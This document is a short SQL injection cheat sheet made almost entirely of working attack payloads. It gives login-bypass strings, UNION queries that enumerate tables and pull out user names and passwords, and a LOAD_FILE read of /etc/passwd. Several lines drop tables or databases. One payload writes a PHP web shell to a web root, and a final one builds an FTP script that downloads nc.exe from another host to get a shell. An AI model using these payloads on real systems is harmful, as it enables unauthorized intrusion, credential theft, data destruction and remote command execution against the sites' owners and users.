44 lines
1.6 KiB
Plaintext
44 lines
1.6 KiB
Plaintext
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SQLi notes
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==========
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Login bypass
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any' or 1=1 limit 1 ;#
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' OR '1' = '1 / ' OR '1' = '1
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;# ;-- #
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?id=737 order by 6 --> Testing max columns
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?id=737 union select all 1,2,3,4,5,6 --> Testing max columns in database
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?id=737 union select all 1,2,3,4,@@version,6 --> Version enumeration, commands to run or exploits?
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?id=737 union select all 1,2,3,4,table_name,6 FROM information_schema.tables --> Table enumeration
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?id=737 union select all 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='user' --> Column enumeration
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?id=737 union select 1,2,3,4,concat(name,0x3a,password ),6 FROM users --> After knowing about "users" pull out the info
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More examples
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x%') #
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x%') or 1=1 #
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x%') order by 4 #
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x%') union select all 4 #
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x%') union select all 1,2,3@@version #
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x%') and 1=1 #
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x%') and UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) #
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x%') and drop table if exists customers #
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x%') and create database test #
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x%') ; DROP ALL TABLES; #
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@@hostname
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wget -qO- http://www.site.com --user-agent=useragent --post-data="key=value"
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Adding backdor.php
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?id=737 union select all 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
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Getting a shell with php execute
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192.168.3.1/comment.php?id=737 union select all 1,2,3,4,"<? system('echo open 192.168.1.9 21 > ftp.txt'); ?><? system('echo haxor>> ftp.txt'); ?><? system('echo haxor>> ftp.txt'); ?><? system('echo bin >> ftp.txt'); ?><? system('echo GET nc.exe >> ftp.txt'); ?><? system('echo bye >> ftp.txt'); ?>",6 into OUTFILE 'c:/xampp/htdocs/makeftp12.php'
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